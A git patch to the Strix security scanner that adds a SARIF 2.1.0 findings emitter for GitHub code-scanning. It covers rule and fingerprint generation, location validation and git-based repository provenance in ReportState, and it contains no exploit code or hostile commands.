From 302efedca6ec511e3d557733b4fca27f6f8c62e2 Mon Sep 17 00:00:00 2001 From: seanturner83 Date: Fri, 3 Jul 2026 15:43:31 +0100 Subject: [PATCH] feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration (#626) * feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration Strix emits CSV + markdown + JSON but no SARIF, so findings can't feed GitHub code-scanning, an ASPM, or any SARIF-consuming CI gate. Add a stdlib-only emitter (strix/report/sarif.py) and always write findings.sarif from ReportState._save_artifacts, beside the existing artifacts. Design invariants (learned from running this in production): - Stable partialFingerprints.primaryLocationLineHash per finding, so a re-scan that re-words a title doesn't churn code-scanning alert IDs. - Class/category hashing so the same vuln class maps to a stable ruleId across scans rather than drifting. - Findings with no code location anchor to SECURITY.md with a synthetic location marker instead of being silently dropped. - Always emit (even with zero findings) so a clean re-scan overwrites a stale findings.sarif and code-scanning auto-resolves fixed alerts. - tool.driver.version reports the strix package version. - Fully isolated in its own try/except: a SARIF build error must never break the CSV/MD/run-record path. Verified end-to-end on v1.0.4 against a SQLi/cmd-inj/weak-hash fixture: 3 findings -> valid SARIF 2.1.0, 3 results, real code locations, distinct per-finding fingerprints. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(report): complete SARIF code scanning metadata --------- Co-authored-by: bearsyankees --- strix/report/sarif.py | 947 +++++++++++++++++++++++++++++++ strix/report/state.py | 122 ++++ tests/test_sarif.py | 244 ++++++++ tests/test_state_repo_context.py | 85 +++ 4 files changed, 1398 insertions(+) create mode 100644 strix/report/sarif.py create mode 100644 tests/test_sarif.py create mode 100644 tests/test_state_repo_context.py diff --git a/strix/report/sarif.py b/strix/report/sarif.py new file mode 100644 index 0000000..8237d7c --- /dev/null +++ b/strix/report/sarif.py @@ -0,0 +1,947 @@ +"""SARIF 2.1.0 output for Strix vulnerability reports. + +Builds a GitHub code-scanning compatible SARIF document from Strix findings +so CI pipelines can upload findings via ``github/codeql-action/upload-sarif``, +ingest into ASPM platforms, or normalise across scanners. + +Schema: SARIF 2.1.0 (OASIS). The output is validated against the official +schema at https://json.schemastore.org/sarif-2.1.0.json in tests. + +Integration: + - ``ReportState._save_artifacts`` calls :func:`write_sarif` to emit a + ``findings.sarif`` sidecar alongside the existing CSV + markdown + JSON + artefacts on every save. The call is wrapped in try/except there so a + SARIF failure never blocks the CSV + markdown + run-record path. + +Design notes: + * Rules are keyed on CWE (``id = CWE-NNN``), falling back to CVE, then + to finding-id, then to a title slug. CWE values are normalised from + Strix output variants (``CWE-306``, ``cwe: 306``, ``306``) to the + canonical ``CWE-NNN`` form so dedup works across runs. + * SARIF only has three levels (error / warning / note). Strix's five + severities collapse into them. The raw severity label and CVSS score + survive in ``result.properties.strix`` for downstream tools that can + distinguish CRITICAL vs HIGH. + * GitHub code-scanning uses ``rule.properties['security-severity']`` + (a 0.0-10.0 string) to rank alerts. We populate it from CVSS when + available, otherwise from a conservative label -> score map. + * File locations must be repo-relative POSIX paths. Paths that look + like URIs, absolute paths, or traversal patterns are rejected rather + than emitted as invalid code-scanning alerts. + * Findings with a fix suggestion (``code_locations[].fix_before`` + + ``fix_after``) are emitted as SARIF ``fixes`` so code-scanning can + render a one-click suggested change. + * Endpoint / target-only findings (typical of DAST) carry a SARIF + ``logicalLocations`` entry so the finding keeps a meaningful anchor + even without a source file + line. + * When a repository context is supplied (repo URL / commit / branch), + the run carries ``versionControlProvenance`` + ``automationDetails`` + so code-scanning can bind alerts to the scanned commit and branch. + * Findings without safe locations still appear in the SARIF output, + anchored to SECURITY.md and flagged via + ``properties.synthetic_location`` rather than being dropped silently. +""" + +from __future__ import annotations + +import hashlib +import json +import logging +import os +import re +from pathlib import Path, PurePosixPath +from typing import Any, cast + + +logger = logging.getLogger(__name__) + + +SARIF_SCHEMA = "https://json.schemastore.org/sarif-2.1.0.json" +SARIF_VERSION = "2.1.0" +TOOL_NAME = "Strix" +TOOL_INFORMATION_URI = "https://strix.ai" + +# Synthetic anchor for findings that have no safe code location. SARIF +# requires every result to carry at least one location, and GitHub +# code-scanning's UI handles locationless results unreliably. Anchoring +# to SECURITY.md keeps the result valid + visible while a +# ``properties.synthetic_location: true`` flag lets downstream tooling +# distinguish synthetic anchors from real source locations. Anchoring +# also lets the partialFingerprints + class-hash code path cover these +# findings instead of re-orphaning them on every run. +_SYNTHETIC_LOCATION_URI = "SECURITY.md" + + +# SARIF only has three result levels; Strix's five severities collapse here. +# Original label survives in ``result.properties.strix.severity``. +_SEVERITY_TO_LEVEL = { + "critical": "error", + "high": "error", + "medium": "warning", + "low": "note", + "info": "note", + "informational": "note", +} + +# GitHub code-scanning reads ``rule.properties['security-severity']`` (a +# 0.0-10.0 string) to rank alerts. We prefer CVSS from the finding; absent +# that we fall back to a conservative label -> score map. +_SEVERITY_TO_SCORE = { + "critical": "9.5", + "high": "8.0", + "medium": "5.5", + "low": "3.0", + "info": "1.0", + "informational": "1.0", +} + + +# --------------------------------------------------------------------------- +# Public API +# --------------------------------------------------------------------------- + + +def build_sarif_report( + vulnerability_reports: list[dict[str, Any]], + *, + tool_version: str | None = None, + repository_context: dict[str, Any] | None = None, +) -> dict[str, Any]: + """Return a SARIF 2.1.0 document for findings. + + ``repository_context`` (optional) supplies VCS provenance for repo + scans: ``repositoryUri``, ``repositoryFullName``, ``commitSha``, + ``branch``, ``ref``. When present, the run carries + ``versionControlProvenance`` + ``automationDetails`` so code-scanning + can bind alerts to the scanned commit; it is omitted for URL / IP + (DAST) targets that have no repository. + + Findings without safe source locations are anchored synthetically + to SECURITY.md and flagged via ``properties.synthetic_location``. + They're still emitted as proper SARIF results so they (a) flow + through code-scanning normally rather than being shunted into a + run-properties summary the UI can't render, and (b) carry the + partialFingerprints + class hash so cross-run dismissal stickiness + works for them. + """ + rules_by_id: dict[str, dict[str, Any]] = {} + rule_index_by_id: dict[str, int] = {} + results: list[dict[str, Any]] = [] + synthetic_location_count = 0 + dropped_unsafe_location_findings: list[dict[str, Any]] = [] + + for report in vulnerability_reports: + locations, is_synthetic, dropped_location_count = _build_locations(report) + if is_synthetic: + synthetic_location_count += 1 + + if dropped_location_count: + dropped_unsafe_location_findings.append( + _dropped_location_summary(report, dropped_location_count) + ) + + rule_id = _rule_id(report) + if rule_id not in rules_by_id: + rule_index_by_id[rule_id] = len(rules_by_id) + rules_by_id[rule_id] = _build_rule(rule_id, report) + results.append( + _build_result( + rule_id, + rule_index_by_id[rule_id], + report, + locations, + is_synthetic=is_synthetic, + ) + ) + + driver: dict[str, Any] = { + "name": TOOL_NAME, + "informationUri": TOOL_INFORMATION_URI, + "rules": list(rules_by_id.values()), + } + if tool_version: + driver["version"] = tool_version + + run: dict[str, Any] = { + "tool": {"driver": driver}, + "results": results, + } + + run_properties: dict[str, Any] = {} + if synthetic_location_count: + # Surface the count for observability without duplicating the + # findings themselves — they're already in `results[]` with + # `properties.synthetic_location: true`. Having a top-level count + # means CI logs / dashboards can bookkeep without parsing the + # result list. + run_properties["syntheticLocationCount"] = synthetic_location_count + if dropped_unsafe_location_findings: + run_properties["droppedUnsafeLocationCount"] = sum( + finding["droppedLocationCount"] for finding in dropped_unsafe_location_findings + ) + run_properties["droppedUnsafeLocationFindings"] = dropped_unsafe_location_findings + if run_properties: + run["properties"] = run_properties + + if repository_context: + _apply_repository_context(run, repository_context) + + return { + "version": SARIF_VERSION, + "$schema": SARIF_SCHEMA, + "runs": [run], + } + + +def write_sarif_report( + output_path: Path, + vulnerability_reports: list[dict[str, Any]], + *, + tool_version: str | None = None, + repository_context: dict[str, Any] | None = None, +) -> None: + """Write a SARIF report to disk, creating parent directories first. + + Writes to a sibling temp file and atomically replaces the target, so a + crash or serialization error mid-write can never leave a truncated + ``findings.sarif`` for CI to upload in place of the last complete snapshot. + """ + output_path.parent.mkdir(parents=True, exist_ok=True) + sarif = build_sarif_report( + vulnerability_reports, + tool_version=tool_version, + repository_context=repository_context, + ) + tmp_path = output_path.with_name(f"{output_path.name}.{os.getpid()}.tmp") + try: + with tmp_path.open("w", encoding="utf-8") as sarif_file: + json.dump(sarif, sarif_file, ensure_ascii=False, indent=2) + sarif_file.write("\n") + tmp_path.replace(output_path) # atomic on the same filesystem + finally: + tmp_path.unlink(missing_ok=True) + + +def write_sarif( + run_dir: Path, + reports: list[dict[str, Any]], + *, + tool_version: str | None = None, + repository_context: dict[str, Any] | None = None, + filename: str = "findings.sarif", +) -> Path: + """Write ``findings.sarif`` alongside existing outputs in ``run_dir``. + + Returns the output path. This is the ``ReportState`` entry point: SARIF + writing must never break the CSV + markdown path, so the caller wraps + it in try/except. + """ + out = run_dir / filename + write_sarif_report( + out, + reports, + tool_version=tool_version, + repository_context=repository_context, + ) + logger.info( + "Wrote SARIF 2.1.0 report: %s (%d results)", + out, + len(reports), + ) + return out + + +# ``build_sarif_document`` is a convenience alias for callers that prefer a +# name mirroring ``write_sarif_report``. +def build_sarif_document( + reports: list[dict[str, Any]], + *, + tool_version: str | None = None, + repository_context: dict[str, Any] | None = None, +) -> dict[str, Any]: + return build_sarif_report( + reports, + tool_version=tool_version, + repository_context=repository_context, + ) + + +# --------------------------------------------------------------------------- +# Repository provenance +# --------------------------------------------------------------------------- + + +def _apply_repository_context(run: dict[str, Any], context: dict[str, Any]) -> None: + """Attach VCS provenance to a run for code-scanning alert binding. + + ``automationDetails.id`` categorises the run (``strix//``) + so multiple Strix runs against the same repo reconcile rather than pile + up. ``versionControlProvenance`` records the exact repo + commit + branch + the findings came from. Both are omitted when the corresponding context + fields are absent (e.g. DAST-only scans). + """ + full_name = _string_value(context.get("repositoryFullName")) + uri = _string_value(context.get("repositoryUri")) + commit = _string_value(context.get("commitSha")) + branch = _string_value(context.get("branch")) + ref = _string_value(context.get("ref")) + + if full_name: + run["automationDetails"] = {"id": f"strix/{full_name}"} + + if uri: + provenance: dict[str, Any] = {"repositoryUri": uri} + if commit: + provenance["revisionId"] = commit + if branch: + provenance["branch"] = branch + run["versionControlProvenance"] = [provenance] + + properties = run.setdefault("properties", {}) + if full_name: + properties["repository"] = full_name + if ref: + properties["ref"] = ref + if commit: + properties["commit_sha"] = commit + if not properties: + run.pop("properties", None) + + +# --------------------------------------------------------------------------- +# Rule + result builders +# --------------------------------------------------------------------------- + + +def _build_rule(rule_id: str, report: dict[str, Any]) -> dict[str, Any]: + """Build a SARIF rule descriptor from a Strix finding.""" + title = _string_value(report.get("title")) or rule_id + full_description = _string_value(report.get("description")) or title + help_text = _help_text(report, full_description) + + rule: dict[str, Any] = { + "id": rule_id, + "name": _rule_name(rule_id, title), + "shortDescription": {"text": title}, + "fullDescription": {"text": full_description}, + "defaultConfiguration": {"level": _sarif_level(report.get("severity"))}, + "help": {"text": help_text, "markdown": help_text}, + } + + properties: dict[str, Any] = { + "security-severity": _security_severity(report), + } + tags = _rule_tags(rule_id, report) + if tags: + properties["tags"] = tags + rule["properties"] = properties + + help_uri = _help_uri_for(rule_id) + if help_uri: + rule["helpUri"] = help_uri + + return rule + + +def _build_result( + rule_id: str, + rule_index: int, + report: dict[str, Any], + locations: list[dict[str, Any]], + *, + is_synthetic: bool = False, +) -> dict[str, Any]: + """Build one SARIF result using validated locations. + + ``is_synthetic`` flags results whose location is the SECURITY.md + anchor rather than a real code location — surfaces as + ``properties.synthetic_location: true`` so reviewers and downstream + tooling can distinguish anchored-locationless findings from + source-linked ones. + """ + title = _string_value(report.get("title")) or rule_id + description = _string_value(report.get("description")) + message_text = f"{title}\n\n{description}" if description else title + + result: dict[str, Any] = { + "ruleId": rule_id, + "ruleIndex": rule_index, + "level": _sarif_level(report.get("severity")), + "message": {"text": message_text}, + } + if locations: + result["locations"] = locations + + fixes = _build_fixes(report) + if fixes: + result["fixes"] = fixes + + # Code-scanning auto-resolution + dismissal-stickiness key on + # partialFingerprints. Computed from the deterministic primitives + # this report already carries (CWE, primary code location, route + # tuple) — NOT from the LLM-authored title or message body, which + # vary cosmetically across runs of the same finding. + fp = _primary_fingerprint(rule_id, report, locations, is_synthetic=is_synthetic) + if fp: + result["partialFingerprints"] = {"primaryLocationLineHash": fp} + # File-independent class fingerprint as a sibling property: lets + # downstream tooling carry "won't fix" / "false positive" + # determinations across file rename refactors where the primary + # fingerprint legitimately shifts but the underlying class is + # unchanged. + class_fp = _class_fingerprint(rule_id, report) + result["properties"] = _result_properties(report, class_fp, is_synthetic=is_synthetic) + return result + + +def _result_properties( + report: dict[str, Any], + class_fingerprint: str | None = None, + *, + is_synthetic: bool = False, +) -> dict[str, Any]: + """Strix-specific metadata for downstream consumers. + + The top-level ``security-severity`` matches GitHub code-scanning's + expected property. Strix-specific fields are namespaced under + ``strix`` so generic SARIF consumers don't see them by default. + """ + properties: dict[str, Any] = { + "security-severity": _security_severity(report), + } + if class_fingerprint: + # Surfaced at top level so cross-rename dismissal tooling can + # filter alerts by it without parsing the nested strix.* tree. + properties["strix_vuln_class_hash"] = class_fingerprint + if is_synthetic: + # Top-level so reviewers + downstream automation can filter + # synthetic-anchored alerts without parsing the nested strix.* + # tree. + properties["synthetic_location"] = True + + strix: dict[str, Any] = {} + for key in ( + "id", + "severity", + "cvss", + "timestamp", + "target", + "endpoint", + "method", + "cve", + "cwe", + "impact", + "technical_analysis", + "remediation_steps", + ): + value = report.get(key) + if value not in (None, ""): + strix[key] = value + + # SARIF is written for external upload (code-scanning / ASPM), so it must + # NOT carry the weaponized exploit payload — that stays a local run + # artifact (vulnerabilities.json / the finding MD). We surface the PoC + # *description* (triage context) and a boolean flag that a script exists, + # so consumers know to look at the local artifact, but never the script + # body itself. + poc_description = _string_value(report.get("poc_description")) + poc_script = _string_value(report.get("poc_script_code")) + if poc_description or poc_script: + poc: dict[str, Any] = {} + if poc_description: + poc["description"] = poc_description + if poc_script: + poc["script_available"] = True + strix["poc"] = poc + + if strix: + properties["strix"] = strix + + return properties + + +def _build_fixes(report: dict[str, Any]) -> list[dict[str, Any]] | None: + """Build SARIF ``fixes`` from a finding's code-location fix pairs. + + Strix findings carry the suggested change inline on each code + location as ``fix_before`` + ``fix_after``. We map every location + that has both (and a safe repo-relative URI + start line) into a + SARIF ``artifactChange``, replacing the finding's region with the + fixed text. Returns None when no location carries a usable fix pair. + """ + raw_locations = report.get("code_locations") + if not isinstance(raw_locations, list): + return None + + artifact_changes: list[dict[str, Any]] = [] + for location in raw_locations: + if not isinstance(location, dict): + continue + file_path = _string_value(location.get("file")) + fix_before = _string_value(location.get("fix_before")) + fix_after = _string_value(location.get("fix_after")) + start_line = location.get("start_line") + if not (file_path and fix_before and fix_after): + continue + if type(start_line) is not int or start_line < 1: + continue + uri = _sarif_uri(file_path) + if uri is None: + continue + + deleted_region: dict[str, Any] = {"startLine": start_line} + end_line = location.get("end_line") + if type(end_line) is int and end_line >= start_line: + deleted_region["endLine"] = end_line + + artifact_changes.append( + { + "artifactLocation": {"uri": uri}, + "replacements": [ + { + "deletedRegion": deleted_region, + "insertedContent": {"text": fix_after}, + } + ], + } + ) + + if not artifact_changes: + return None + + fix: dict[str, Any] = {"artifactChanges": artifact_changes} + remediation = _string_value(report.get("remediation_steps")) + if remediation: + fix["description"] = {"text": remediation, "markdown": remediation} + return [fix] + + +# --------------------------------------------------------------------------- +# Location handling +# --------------------------------------------------------------------------- + + +def _synthetic_location() -> dict[str, Any]: + """Synthetic anchor for findings with no safe code location. + + SARIF requires every result to carry at least one location, and + code-scanning's UI handles locationless results unreliably. + Anchoring to SECURITY.md gives the result a valid + visible + location; the result's ``properties.synthetic_location: true`` + flag lets reviewers + tooling distinguish synthetic from real. + """ + return { + "physicalLocation": { + "artifactLocation": {"uri": _SYNTHETIC_LOCATION_URI}, + } + } + + +def _build_locations(report: dict[str, Any]) -> tuple[list[dict[str, Any]], bool, int]: + """Return ``(locations, is_synthetic, dropped_count)`` for a finding. + + Physical locations come from validated ``code_locations``. When none + are safe, the result is anchored to SECURITY.md (``is_synthetic``). + An ``endpoint`` (typical of DAST findings) is added as a + ``logicalLocations`` entry; a locationless, endpoint-less finding + gets a ``resource`` logical location carrying the target so the + finding keeps a human-meaningful anchor. + """ + physical, dropped_location_count = _build_physical_locations(report.get("code_locations")) + is_synthetic = not physical + locations: list[dict[str, Any]] = list(physical) if physical else [_synthetic_location()] + + endpoint = _string_value(report.get("endpoint")) + if endpoint: + locations.append( + {"logicalLocations": [{"fullyQualifiedName": endpoint, "kind": "endpoint"}]} + ) + elif is_synthetic: + resource = _string_value(report.get("target")) or _string_value(report.get("title")) + if resource: + locations.append( + {"logicalLocations": [{"fullyQualifiedName": resource, "kind": "resource"}]} + ) + + return locations, is_synthetic, dropped_location_count + + +def _build_physical_locations(raw_locations: Any) -> tuple[list[dict[str, Any]], int]: + """Return SARIF physical locations and a count of dropped unsafe locations.""" + if not isinstance(raw_locations, list): + return [], 0 + + locations: list[dict[str, Any]] = [] + dropped_location_count = 0 + for location in raw_locations: + if not isinstance(location, dict): + dropped_location_count += 1 + continue + + file_path = _string_value(location.get("file")) + start_line = location.get("start_line") + end_line = location.get("end_line") + if not file_path or type(start_line) is not int or start_line < 1: + dropped_location_count += 1 + continue + uri = _sarif_uri(file_path) + if uri is None: + dropped_location_count += 1 + continue + + region: dict[str, Any] = {"startLine": start_line} + if type(end_line) is int and end_line >= start_line: + region["endLine"] = end_line + + snippet = _string_value(location.get("snippet")) + if snippet: + region["snippet"] = {"text": snippet} + + physical_location: dict[str, Any] = { + "artifactLocation": {"uri": uri}, + "region": region, + } + entry: dict[str, Any] = {"physicalLocation": physical_location} + + label = _string_value(location.get("label")) + if label: + entry["message"] = {"text": label} + + locations.append(entry) + + return locations, dropped_location_count + + +def _sarif_uri(file_path: str) -> str | None: + """Return a safe repo-relative SARIF URI, or None for unsafe paths.""" + uri = PurePosixPath(file_path.replace("\\", "/")).as_posix() + parts = PurePosixPath(uri).parts + if not uri or uri.startswith("/") or not parts: + return None + if ":" in parts[0] or any(part == ".." for part in parts): + return None + return uri + + +# --------------------------------------------------------------------------- +# Rule ID resolution + CWE normalisation +# --------------------------------------------------------------------------- + + +def _rule_id(report: dict[str, Any]) -> str: + """Choose a stable SARIF rule id, preferring CWE → CVE → finding-id → slug. + + CWE values are normalised from Strix output variants (``CWE-306``, + ``cwe: 306``, ``306``) to the canonical ``CWE-NNN`` form. Without + normalisation, the same weakness across runs dedups to separate rules. + """ + cwe = _string_value(report.get("cwe")) + if cwe: + normalised = _normalise_cwe(cwe) + if normalised: + return normalised + + cve = _string_value(report.get("cve")) + if cve: + return cve + + finding_id = _string_value(report.get("id")) + if finding_id: + return finding_id + + title = _string_value(report.get("title")) or "strix-finding" + return _slugify(title) + + +def _normalise_cwe(value: str) -> str | None: + """``CWE-306``, ``cwe:306``, ``306`` → ``CWE-306``.""" + digits = "".join(c for c in value if c.isdigit()) + if not digits: + return None + return f"CWE-{digits}" + + +# Vulnerability-class keywords for the file-independent class +# fingerprint. Order matters — first match wins, so precise terms +# come before fuzzy ones (e.g. "broken access control" before +# "access control"). Keep this list closed and curated; a future +# maintainer adding sloppy entries could collapse distinct findings +# to the same class hash. +_VULN_CLASS_KEYWORDS = ( + "missing authentication", + "missing authorization", + "broken access control", + "incorrect authorization", + "default credentials", + "hardcoded credentials", + "hardcoded secret", + "hardcoded password", + "default admin", + "default password", + "session fixation", + "open redirect", + "path traversal", + "directory traversal", + "command injection", + "sql injection", + "code injection", + "template injection", + "xpath injection", + "ldap injection", + "log injection", + "header injection", + "csv injection", + "prompt injection", + "deserialization", + "ssrf", + "xss", + "csrf", + "xxe", + "race condition", + "toctou", + "information disclosure", + "insecure direct object reference", + "idor", + "bola", + "bfla", + "cross-tenant", + "cross-project", + "tenant bypass", + "auth bypass", + "rate limiting", + "rate limit", + "weak cryptography", + "weak hash", + "weak random", + "insecure random", + "tls verification", + "certificate verification", + "denial of service", + "regex denial of service", + "redos", + "supply chain", +) + + +def _primary_fingerprint( + rule_id: str, + report: dict[str, Any], + locations: list[dict[str, Any]], + *, + is_synthetic: bool = False, +) -> str | None: + """Deterministic per-finding fingerprint for SARIF auto-resolution. + + Computed from primitives that don't depend on LLM prose stability: + + - rule_id (already CWE-normalised by ``_rule_id``) + - first SARIF location's URI + startLine — these come from + Strix's ``code_locations[].file`` and ``start_line`` which + are sourced from the actual finding evidence, not synthesized + - HTTP method + endpoint when present (BOLA/IDOR/missing-authz + findings carry these explicitly in the report dict) + + Synthetic-anchored findings (``is_synthetic=True``) all share + uri="SECURITY.md" and have no real start_line. Hashing by + (rule_id, "SECURITY.md") alone would collapse every locationless + finding of the same CWE into a single alert. To distinguish them, + the synthetic path adds the class keyword extracted from the title + (same logic ``_class_fingerprint`` uses). The class keyword + catalogue is closed and stable, so cross-run identity holds — same + vulnerability class on the same rule_id always lands on the same + hash, and two different classes on the same rule_id don't collide. + + Returns None when no anchor is available AND not synthetic. + """ + primary_physical = _first_physical_location(locations) + uri = "" + start_line: int | None = None + if primary_physical: + uri = (primary_physical.get("artifactLocation") or {}).get("uri", "") or "" + region = primary_physical.get("region") or {} + sl = region.get("startLine") + if isinstance(sl, int) and sl >= 1: + start_line = sl + + method = _string_value(report.get("method")) or "" + endpoint = _string_value(report.get("endpoint")) or "" + route = f"{method.upper()} {endpoint}".strip() if (method or endpoint) else "" + + if not uri and not route: + return None + + parts = [f"rule:{rule_id}"] + if uri: + parts.append(f"uri:{uri}") + if start_line is not None: + # startLine in fingerprint is debatable: line shifts in + # surrounding code re-fingerprint. The alternative — drop + # line — collides multiple findings per file. We include + # line because Strix code_locations carry the SINK line, + # which moves only when the vulnerable code itself moves; + # lines surfacing from cosmetic edits in unrelated parts + # of the file don't shift it. + parts.append(f"line:{start_line}") + if route: + parts.append(f"route:{route}") + + if is_synthetic: + # Augment with class keyword so locationless findings of + # different vuln classes don't collide. rule_id is already in + # the composite so we don't also need to stamp the CWE. + title = _string_value(report.get("title")) or "" + if title: + parts.append(f"synth_class:{_class_keyword(title)}") + + composite = "|".join(parts) + return hashlib.sha256(composite.encode("utf-8")).hexdigest() + + +def _first_physical_location(locations: list[dict[str, Any]]) -> dict[str, Any] | None: + """Return the first location's physicalLocation payload, if any.""" + for location in locations: + physical = location.get("physicalLocation") + if physical: + return cast("dict[str, Any]", physical) + return None + + +def _class_fingerprint(rule_id: str, report: dict[str, Any]) -> str | None: + """File-independent fingerprint for cross-rename dismissal carryover. + + Lets downstream tooling apply prior dismissal determinations to a + new alert that has the same vulnerability class but a different + primary fingerprint (typical case: file rename, or a fix that moves + the vulnerable code to a new module). + + Composite of (rule_id, vuln-class keyword extracted from title). + Title is LLM-authored so it's stochastic at the prose level, but + the class keyword extraction picks up the discrete vulnerability + category, which is much more stable than the full title. + + Falls back to the first 5 lowercased words of the title when no + curated keyword matches. Acceptable as a fallback because the + class fingerprint is a tiebreaker, not a primary reconciliation key. + """ + title = _string_value(report.get("title")) or "" + keyword = _class_keyword(title) if title else "" + if not keyword: + return None + composite = f"rule:{rule_id}|class:{keyword}" + return hashlib.sha256(composite.encode("utf-8")).hexdigest() + + +def _class_keyword(title: str) -> str: + """Pick the first matching curated keyword in ``title``, or fall + back to the first 5 lowercased alpha-numeric words. + + Shared between ``_class_fingerprint`` (file-rename carryover) and + ``_primary_fingerprint`` (synthetic-location distinguisher) so the + two fingerprints stay aligned on what counts as "the same class". + Returns empty string when title is empty or whitespace-only. + """ + if not title: + return "" + lower = title.lower() + for kw in _VULN_CLASS_KEYWORDS: + if kw in lower: + return kw + words = re.findall(r"[a-z0-9]+", lower)[:5] + return " ".join(words) + + +def _rule_name(rule_id: str, title: str) -> str: + """SARIF rule.name must be a free-form string; prefer the finding title + where available, fall back to a snake_case'd form of the rule id.""" + return title or rule_id.replace("-", "_") + + +def _rule_tags(rule_id: str, report: dict[str, Any]) -> list[str]: + tags: list[str] = ["security"] + if rule_id.startswith("CWE-"): + tags.append(rule_id) + cve = _string_value(report.get("cve")) + if cve and cve not in tags: + tags.append(cve) + return tags + + +def _help_uri_for(rule_id: str) -> str | None: + if rule_id.startswith("CWE-"): + return f"https://cwe.mitre.org/data/definitions/{rule_id.removeprefix('CWE-')}.html" + return None + + +# --------------------------------------------------------------------------- +# Severity + help text +# --------------------------------------------------------------------------- + + +def _sarif_level(severity: Any) -> str: + """Map Strix severity labels to SARIF result levels.""" + normalised = (_string_value(severity) or "").lower() + return _SEVERITY_TO_LEVEL.get(normalised, "note") + + +def _security_severity(report: dict[str, Any]) -> str: + """GitHub-compatible ``security-severity`` string in 0.0-10.0. + + Uses CVSS when present, otherwise falls back to the severity label. + """ + cvss = report.get("cvss") + if cvss is not None: + try: + return f"{float(cvss):.1f}" + except (TypeError, ValueError): + pass + normalised = (_string_value(report.get("severity")) or "info").lower() + return _SEVERITY_TO_SCORE.get(normalised, "1.0") + + +def _help_text(report: dict[str, Any], fallback: str) -> str: + """Assemble SARIF help text from finding details and remediation.""" + sections = [ + _string_value(report.get("description")), + _string_value(report.get("impact")), + _string_value(report.get("remediation_steps")), + ] + help_text = "\n\n".join(section for section in sections if section) + return help_text or fallback + + +# --------------------------------------------------------------------------- +# Summaries for unsafe-location findings +# --------------------------------------------------------------------------- + + +def _dropped_location_summary( + report: dict[str, Any], + dropped_location_count: int, +) -> dict[str, Any]: + """Summarize unsafe locations dropped from a partially emitted finding.""" + summary: dict[str, Any] = {"droppedLocationCount": dropped_location_count} + for key in ("id", "title"): + value = report.get(key) + if value not in (None, ""): + summary[key] = value + return summary + + +# --------------------------------------------------------------------------- +# Utility +# --------------------------------------------------------------------------- + + +def _string_value(value: Any) -> str | None: + """Return a stripped non-empty string value, or None.""" + if isinstance(value, str): + stripped = value.strip() + return stripped or None + return None + + +def _slugify(value: str) -> str: + """Convert arbitrary finding text into a stable lowercase slug.""" + chars = [char.lower() if char.isalnum() else "-" for char in value] + slug = "-".join(part for part in "".join(chars).split("-") if part) + return slug or "strix-finding" diff --git a/strix/report/state.py b/strix/report/state.py index 809aa09..16f4ac1 100644 --- a/strix/report/state.py +++ b/strix/report/state.py @@ -1,7 +1,9 @@ import json import logging +import subprocess from collections.abc import Callable from datetime import UTC, datetime +from importlib.metadata import PackageNotFoundError, version from pathlib import Path from typing import Any, Optional, cast from uuid import uuid4 @@ -9,6 +11,7 @@ from uuid import uuid4 from agents.usage import Usage from strix.core.paths import run_dir_for +from strix.report.sarif import write_sarif from strix.report.usage import LLMUsageLedger from strix.report.writer import ( read_run_record, @@ -24,6 +27,65 @@ logger = logging.getLogger(__name__) _global_report_state: Optional["ReportState"] = None +def _strix_version() -> str | None: + """Best-effort package version for the SARIF tool.driver.version field.""" + try: + return version("strix-agent") + except PackageNotFoundError: + return None + + +def _parse_repo_full_name(uri: str) -> str | None: + """Extract ``owner/repo`` from a git URL or slug, else None.""" + text = uri.strip().removesuffix(".git") + if not text: + return None + if "@" in text and ":" in text.split("@", 1)[1]: + # scp-style: git@host:owner/repo + text = text.split("@", 1)[1].split(":", 1)[1] + elif "://" in text: + # https://host/owner/repo + host_and_path = text.split("://", 1)[1] + text = host_and_path.split("/", 1)[1] if "/" in host_and_path else host_and_path + parts = [p for p in text.split("/") if p] + if len(parts) >= 2: + return "/".join(parts[-2:]) + return None + + +def _git_head(repo_path: str) -> tuple[str | None, str | None]: + """Best-effort ``(commit_sha, branch)`` for a cloned repo, or ``(None, None)``. + + Used to populate SARIF versionControlProvenance. Failures (missing git, + non-repo path, detached HEAD, timeout) degrade to None so the SARIF + emit is never blocked by a provenance lookup. + """ + path = Path(repo_path) + if not path.is_dir(): + return None, None + + def _run(args: list[str]) -> str | None: + try: + result = subprocess.run( # noqa: S603 + ["git", "-C", str(path), *args], # noqa: S607 + capture_output=True, + text=True, + check=False, + timeout=5, + ) + except (OSError, subprocess.SubprocessError): + return None + if result.returncode != 0: + return None + return result.stdout.strip() or None + + commit = _run(["rev-parse", "HEAD"]) + branch = _run(["rev-parse", "--abbrev-ref", "HEAD"]) + if branch == "HEAD": # detached HEAD carries no branch name + branch = None + return commit, branch + + def get_global_report_state() -> Optional["ReportState"]: return _global_report_state @@ -70,6 +132,9 @@ class ReportState: self.caido_url: str | None = None self.vulnerability_found_callback: Callable[[dict[str, Any]], None] | None = None + self._sarif_repo_ctx: dict[str, Any] | None = None + self._sarif_repo_ctx_ready: bool = False + def get_run_dir(self) -> Path: if self._run_dir is None: run_dir_name = self.run_name if self.run_name else self.run_id @@ -335,12 +400,69 @@ class ReportState: if self.vulnerability_reports: write_vulnerabilities(run_dir, self.vulnerability_reports, self._saved_vuln_ids) + # SARIF 2.1.0 emitter for CI / ASPM integration. Always emit (even + # empty) so a clean run overwrites a prior findings.sarif rather than + # leaving a stale one — codeql-action's "absent from new submission → + # fixed" needs the fresh empty doc to auto-resolve alerts. Isolated + # in its own try: a SARIF-build error must NEVER break the CSV/MD/ + # run-record path (the emitter's own contract). + try: + write_sarif( + run_dir, + self.vulnerability_reports, + tool_version=_strix_version(), + repository_context=self._sarif_repository_context(), + ) + except Exception: + logger.exception("SARIF emit failed (non-fatal; CSV/MD unaffected)") + write_run_record(run_dir, self.run_record) logger.info("Essential scan data saved to: %s", run_dir) except (OSError, RuntimeError): logger.exception("Failed to save scan data") + def _sarif_repository_context(self) -> dict[str, Any] | None: + """Repo/commit/branch context for SARIF provenance (repo scans only). + + Cached after first derivation — ``_save_artifacts`` runs on every + state save, and the git lookup only needs to happen once per run. + Returns None for URL / IP (DAST) targets that have no repository. + """ + if not self._sarif_repo_ctx_ready: + self._sarif_repo_ctx = self._derive_repository_context() + self._sarif_repo_ctx_ready = True + return self._sarif_repo_ctx + + def _derive_repository_context(self) -> dict[str, Any] | None: + targets = self.run_record.get("targets_info") or [] + if not isinstance(targets, list): + return None + for target in targets: + if not isinstance(target, dict) or target.get("type") != "repository": + continue + 